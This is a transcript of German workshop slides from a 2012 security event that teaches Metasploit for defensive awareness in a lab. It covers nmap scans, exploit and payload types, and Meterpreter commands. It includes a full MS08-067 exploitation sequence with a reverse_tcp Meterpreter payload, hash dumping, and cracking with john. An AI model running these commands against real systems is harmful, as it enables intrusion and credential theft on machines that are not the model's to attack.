Workshop System Exploitationitsecx.fhstp.ac.at/downloads_2012/01_metasploit.pdf · TCP 3-Way...
Transcript of Workshop System Exploitationitsecx.fhstp.ac.at/downloads_2012/01_metasploit.pdf · TCP 3-Way...
Willkommen zum Security Day 2012
Workshop System Exploitation
Willkommen zum ITSeCX 2012
Freitag, 09. November 12
2
Workshop Überblick
Metasploit Framework kennenlernen Awareness und Wissen über moderne Angriffswerkzeuge schärfen
„hands-on“ Umgebung Backtrack 5 R1
User: root Password: toor
Server-Victim
User: Administrator Password: test
und Client-Victim
User: Administrator Password: admin
Hilfestellungen Einzugebende Kommandos finden sich in den Slides
Fragen Bitte jederzeit stellen!
Freitag, 09. November 12
Freitag, 09. November 12
3
Motivation für diesen Workshop
Angriffswerkzeug Metasploit vorstellen um daraus Lessons Learned für die Defensive zu ziehen
um zu sehen, „wie einfach“ die Verwendung von Exploit Tools mittlerweile sein kann
grundlegendes „Handling“ des Werkzeugs vermitteln um sich eigenständig eingehender damit zu beschäftigen
um Awareness schaffen zu können
einfache Angriffsszenarien darstellen um besseres Verständnis dafür zu bekommen, was alles mit modernen
Angriffswerkzeugen (auch automatisiert) möglich ist
Freitag, 09. November 12
Port- und Vulnerability Scanning
Schwachstellen in Netzwerken und Systemen findennetzwerkseitige Vulnerability Scans
lokale Vulnerability Scans
Vulnerability ScanningSuche nach bekannten Sicherheitsproblemen und Schwachstellen
Port ScanningSuche nach offenen, geschlossenen oder gefilterten Ports
Operating System DetectionVersuch, das Betriebssytem eines Zielsystem (netzwerkseitig) zu identifizieren
Service/Version DetectionVersuch, den Service/dessen Version an einem offenen Port festzustellen
Freitag, 09. November 12
NMAP Buch als Standard-Referenz zu Port Scanning
http://nmap.org/book/
NMAP: Network Mapper
Freitag, 09. November 12
…eines der wenigen real existierenden Tools aus Filmen
Yes, even the Matrix runs OpenSSH !!!
NMAP: Network Mapper
Freitag, 09. November 12
TCP Port Scanning
TCP 3-Way Handshake zum Verbindungsaufbau, TCP-Flags
TCP Port offen
TCP Port geschlossen
SERVERHOST
SYN
SYN / ACK
ACK
SERVERHOST
SYN
RST
Freitag, 09. November 12
Scannen nach offenen Ports...
nmap -sS -n --reason 192.168.1.1
nmap -sU -p0-2048 -n --reason
192.168.1.1
Freitag, 09. November 12
Erkennen des Betriebssystems
nmap -O -n --reason 192.168.1.1
nmap -O -n --reason 192.168.1.1
Freitag, 09. November 12
Erkennen der laufenden Services
nmap -sV -n --reason 192.168.1.1
Freitag, 09. November 12
Erkennen von Schwachstellen auf laufenden Services
nmap --script=exploit -n --reason
192.168.1.1
Freitag, 09. November 12
12
Exploits und andere Angriffswerkzeuge ...
zumindest theoretisch seit 1972 bekannt in „Computer Security Technology
Planning Study“ von James P. Anderson Problematik grundsätzlich beschrieben
praktisch seit mind. 1987 ein Begriff „Morris Worm“
„zur Abmessung der Größe des ARPAnet“
nutze unterschiedliche bekannte Schwachstellen aus
sendmail, finger, rsh/rexec
seither Exploit-Code laufend auf Mailing-Listen, Portalen u.ä veröffentlicht
Freitag, 09. November 12
13
Exploit Portale – gestern – heute – morgen?
bieten Exploits zum Download an Nmap Exploit World (geht zurück auf 1996)
K-Otic / FrSirt
Milw0rm (geht zurück auf 1998)
aktuell: Großteil der Exploit-Portale in „Exploit-Database“ archiviert(www.exploit-database.com)
Exploit Database (http://www.exploit-db.com/)
>> http://www.exploit-db.com
Freitag, 09. November 12
14
Heute: Exploitation Frameworks
Kommerzielle Werkzeuge (meist ab USD 15.000 lizenzierbar) Immunitysec CANVAS
Core Impact Pro
Metasploit Pro / Express
Open-Source oder freie Werkzeuge Metasploit Framework / Community
Inguma
winAUTOPWN
Freitag, 09. November 12
15
Heute: Exploit Packs und Exploit Kits
Exploit Packs enthalten neueste Exploits für populäre Schwachstellen
kommerzielle Produkte
Meist in Verbindung mit Exploitation Frameworks
verwendbar
VulnDisco Pack Professional
D2 Exploitation Pack
„Exploit Kits“ Begriff wird für Tools zum Customizing
von Malware verwendet
enthalten meist auch Exploit-Sammlungen für neueste
Schwachstellen
„underground ware“
Freitag, 09. November 12
16
Immunitysec CANVAS
verfügt dzt. über ca. 490Exploits
monatlich ca. 4 Exploits hinzugefügt
Fokus auf folgende Schwachstellen mit Möglichkeit zur Remote Exploitation
in „mainstream“ Software
alle Plattformen und Applikationen
Vorteile Exploits sind getestet bzw. Anpassung kann angefordert werden
Support für Tester ist verfügbar
graphische Interfaces leiten durch den Angriffsvorgang
Freitag, 09. November 12
17
Core Impact Professional
verfügt über ca. 700 Exploits
monatlich ca. 10-20 Exploits hinzugefügt
Fokus auf folgende Schwachstellen mit Möglichkeit zur Remote Exploitation
mit Möglichkeit zur Local Exploitation
Schwachstellen in Webapplikationen
etabliert eigene Methodologie RPT (Rapid Penetration Testing) Tester wird Schritt für Schritt durch den ganzen Vorgang angeleitet
alles im graphischen Interface erledigbar
Berichtsfunktionalitäten im Produkt inkludiert
Freitag, 09. November 12
18
Metasploit
verfügt über ca. 758 Exploits Exploits sind Open-Source
jeder kann Exploits mit Hilfe des Metasploit Frameworks entwickeln
monatlich ca. 10-20 Exploits hinzugefügt „user-contributed“ Code (bedenklich?)
gratis oder im Rahmen von „Bug Bounty“ Wettbewerben bereitgestellt
in freien und kostenpflichtigen Editionen verfügbar
„Metasploit Framework“ ist gemeinsame Basis für alle Editionen
Freitag, 09. November 12
21
Metasploit Framework
gemeinsame Basis für alle Editionen
wesentlicher Nachteil keine webbasierte Oberfläche wie in Express / Community / Pro
keine inkludierten Reporting-, Scheduling- oder Automatisierungsmöglichkeiten
kein Support, daher auch keine Funktionsgarantien
wesentlicher Vorteil tagesaktuell aus dem SVN mit Exploits und Angriffswerkzeugen aktualisierbar
frei zugänglich und erweiterbar
„If it is in metasploit, you should patch it.“
Freitag, 09. November 12
22
Metasploit Framework
eine einfache Umgebung zum Entwickeln von Exploits Metasploit Framework bietet Basisstruktur
auf vorhandener Funktionalität des Frameworks kann aufgebaut werden
ein Testwerkzeug für unterschiedlichsten Einsatz
Metasploit bis Version 2.x in Perl entwickelt, seit 3.x in Ruby
Freitag, 09. November 12
23
Metasploit Features
Import von Ergebnissen anderer Tools NMAP, Nessus, Rapid7 Nexpose, WebInspect, ...
Session Management und Scripting Verbindungen zu kompromittierten Systemen werden aufrecht gehalten
Automatisierung von Arbeitsschritten ist möglich
IDS und Firewall Evasion Veränderung des Traffics zur Umgehung von Firewalls und IDS
Pivoting (Tunneling in andere Netzwerke)
Post-Exploitation Tools inkludiert nicht nur Angriff, sondern auch Weiterführung des Angriffs erfolgt direkt aus dem
Framework
Freitag, 09. November 12
25
Metasploit Dokumentation
Metasploit ist ein Community-Projekt
Dokumentation kommt aus der Community
WIKIBOOKS (http://en.wikibooks.org/wiki/Metasploit/Contents)
Metasploit Unleashed (http://www.offensive-security.com/metasploit-
unleashed/)
Freitag, 09. November 12
26
Metasploit Dokumentation
Metasploit ist ein Community-Projekt
Dokumentation kommt aus der Community
Security Tube “Metasploit Megaprimer” (http://www.securitytube.net/groups?
operation=view&groupId=8)
über 5 Stunden Videos zu Verwendung von Metasploit
div. Bücher, Magazine, Präsentationen, …
Freitag, 09. November 12
27
Metasploit Kurse
einen echten “Metasploit Kurs” gibt es nicht das Framework verändert sich laufend
“mit jedem SVN Checkout kann eine neue
Funktion hinzukommen”
div. sehr gute Online-Kurse beschäftigen sich mit Metasploit sehr intensiv Offensive Security: “Penetration Testing with
Backtrack”
Freitag, 09. November 12
28
Aufbau des Metasploit Frameworks
Metasploit ist eine Sammlung von Ruby-Bibliotheken
div. Tools zur Entwicklung von Exploits
Metasploit Dokumentation
Documentation User Interfaces Modules Exploit Creation Misc.
FRAMEWORK
Freitag, 09. November 12
29
Aufbau des Metasploit Frameworks
Module stellen die eigentliche Funktionalität des Frameworks
MODULES
Encoders Exploits Payloads Auxiliary Post
Freitag, 09. November 12
30
Which interface to rule them all?
msfd – Metasploit Framework Daemon Daemon auf Port 55554
konzipiert für Zugriff durch mehrere Benutzer
entspricht für einzelne Benutzer msfconsole
msfcli – Metaspoit Framework Command Line Kommandos müssen in einzelner Zeile übergeben werden
hauptsächlich für Scripting interessant
Freitag, 09. November 12
31
Which interface to rule them all?
msfgui – Metasploit Framework GUI java-basiertes Interface, kurzzeitig nicht weiterentwickelt worden
msfconsole – Metasploit Framework Console Command-Line Shell zur Steuerung des Frameworks
wahrscheinlich das wichtigste / bevorzugteste Interface für MSF
Freitag, 09. November 12
32
Which interface to rule them all?
Armitage neuestes GUI für Metasploit
sehr einfache Benutzerführung
laufend weiterentwickelt
Verwendung auch in Teams möglich
jeder hat eigenes GUI
alle arbeiten auf derselben
Metasploit Instanz
für Präsentationen zur Awareness-
Schaffung sehr gut geeignet!
Freitag, 09. November 12
33
cd /pentest/exploits/framework
./msfconsole
Freitag, 09. November 12
34
help
search
show
info
use
Befehlsübersicht
Module suchen
Module anzeigen
Modulinformationen anzeigen
Modul anwenden
Freitag, 09. November 12
35
Mom, where do the exploits come from?
stable versions von Metasploit in regelmäßigen Release-Zyklen
üblicherweise wird testing branch direkt aus SVN bezogen neueste Exploits
neueste Payloads
neueste Bugfixes
aber: Testing, keine stabile Version (stabile Versionen für Security-Tools?)
1-2 Updates pro Tag machen durchaus Sinn auf jeden Fall immer mit der aktuellsten Revision des Frameworks arbeiten
Freitag, 09. November 12
36
Metasploit Modules – „Exploits“
Exploit-Module zur Ausnutzung von Schwachstellen
müssen mit Payloads kombiniert werden, um sinnvolleAktionen ausführen zu können
unterschiedliche Arten von Exploits Remote Exploits
zum Angriff von (Server-)dienste über Netzwerke
Local Exploits
zur Ausführung von Attacken lokal auf Systemen (zb.: Privilege Escalation)
Client-Side Exploits
zum Angriff von Clients über Netzwerke (zb.: über Browser)
Document Format Exploits
zur Erstellung von Dateien (PDF, AVI, MP3, ...), welche Schadcode enthalten und Schwachstellen in Programmen ausnutzen
Freitag, 09. November 12
37
Metasploit Modules – „Exploits“
Unterstützte Plattformen Windows
Linux
Unix (IRIX, Solaris, AIX, HPUX)
OSX
Client-side exploits Internet Explorer/Firefox
DLL-Hijacking
Real Player
Document format exploits PDF
MS Office
Quicktime
Freitag, 09. November 12
39
Metasploit Modules – „Payloads“
führen Aktionen nach dem Ausnutzen der Schwachstelle aus
verschaffen in der Regel dem Angreifer Zugriff auf das System öffnen Listener Ports, auf die Angreifer verbindet (bind_tcp)
verbinden sich zum Angreifer zurück (reverse_tcp)
tunneln Netzwerkverkehr um Firewalls oder Proxies zu umgehen
reverse_http(s)
reverse_tcp_dns
ermöglichen die Interaktion mit dem Zielsystem über einfache Shells
über graphische Oberflächen (VNC)
über „meterpreter“
eine spezialisierte Shell, welche weite Teile des Metasploit Frameworks auf das Zielsystem transferiert
Freitag, 09. November 12
40
Metasploit Modules – „Single Payloads“
in sich abgeschlossene Payloads
adduser
Adds a user to local admins group
(download_)exec
(Downloads and) runs a command on the target machine
shell_bind_tcp(_xpfw)
Provides cmd.exe access via a port listener (after disabling the Windows
Firewall)
shell_reverse_tcp
Makes a connection back to the attacker to provide shell access
Freitag, 09. November 12
41
Metasploit Modules – „Post“
zur Ausführung von Post Exploitation Angriffen
diverse Möglichkeiten bringt das Framework mit Dumpen von Hashes
Dumpen von gespeicherten Passwörtern in Applikationen (Browser, 3rd Party Software, ...)
anlegen von neuen Benutzern
„Pivoting“: Tunneling über den kompromittierten Host in weitere Netzwerke
gibt es kein Post Module, bleibt ... Scripting in Meterpreter (Ruby)
„Railgun“ (direktes Ansprechen der Windows API)
Freitag, 09. November 12
43
use exploit/windows/smb/ms08_067_netapi
info
show
show options
set RHOST 192.168.1.1
set PAYLOAD windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.1.2
exploit
Freitag, 09. November 12
46
show targets
set TARGET 13
exploit
Freitag, 09. November 12
45
So it did not work?
Functional Exploit Exploit muss getestet sein, um in verschiedenen Environments verlässlich zu
funktioneren
Hardening Options Betriebssysteme bieten Schutz vor manchen Exploit-Techniken
DEP (Data Execution Prevention)
ASLR (Address Space Layout Randomization)
SEHOP (Structured Exception Handler Protection)
Compiler kennen auch Schutzmechanismen („Stack Cookies“)
Betriebssystemversionen (Kernel-Version, Patch-Stand) unterschiedlich kompilierte Binaries
zb.: beim Einsatz unterschiedlicher Sprachversionen
(„Canaries“)
Freitag, 09. November 12
47
Metasploit Meterpreter
spezialisierte Shell für Angriffe
DLLs werden in kompromittierten Prozess injiziert kein eigener Prozess auf Ziel erkennbar
daher nicht so einfach zu finden
funktioniert nur auf Windows Systemen
ATTACKER
Me
terp
rete
r
DLL
Exploited
ProcessTARGET
EXPLO
IT
Freitag, 09. November 12
48
Metasploit Meterpreter
Basic commands
? / help
exit / quit
sysinfo : Shows name and OS type of target machine
shutdown / reboot
reg : Allows reading / writing to the registry of the target machine
Freitag, 09. November 12
49
Metasploit Meterpreter
Filesystem commands
cd : navigate on target machine
lcd : navigate on local (attackers) machine
pwd / getwd : Shows current directory
ls, cat, mkdir, rmdir : All familiar unix style commands
download / upload : Move files between local and target machines
edit : vi style editor
Freitag, 09. November 12
50
Metasploit Meterpreter
Metasploit Meterpreter
getpid : shows the process ID that meterpreter is running within
getuid : shows the user ID that meterpreter is running as
ps : Shows active processes
kill : kills a process
execute : executes a program on the target machine
migrate : move meterpreter into the memory of another process Cannot jump to higher priv process
Can be useful if you exploit an unstable process
Freitag, 09. November 12
51
Metasploit Meterpreter
Network Commands
ipconfig : shows the interface information
portfwd : Sets a local port listener to forward packets through the meterpreter process to other target machines on the target LAN
route : displays the targets routing table (add/del/subnet/netmask and gateway options can alter the targets routing table.
Freitag, 09. November 12
52
help
sysinfo
screenshot
Metasploit Meterpreter
Freitag, 09. November 12
53
Metasploit Meterpreter
Scripts
erweitern die Funktionalität von Post Modulen
können zur Automatisierung von Post-Exploitation
verwendet werden
run
<TAB><TAB>
Freitag, 09. November 12
54
hashdump
(OUTPUT in File hashes.txt
schreiben)
cd /pentest/password/john
john /root/hashes.txt
Metasploit Meterpreter
Freitag, 09. November 12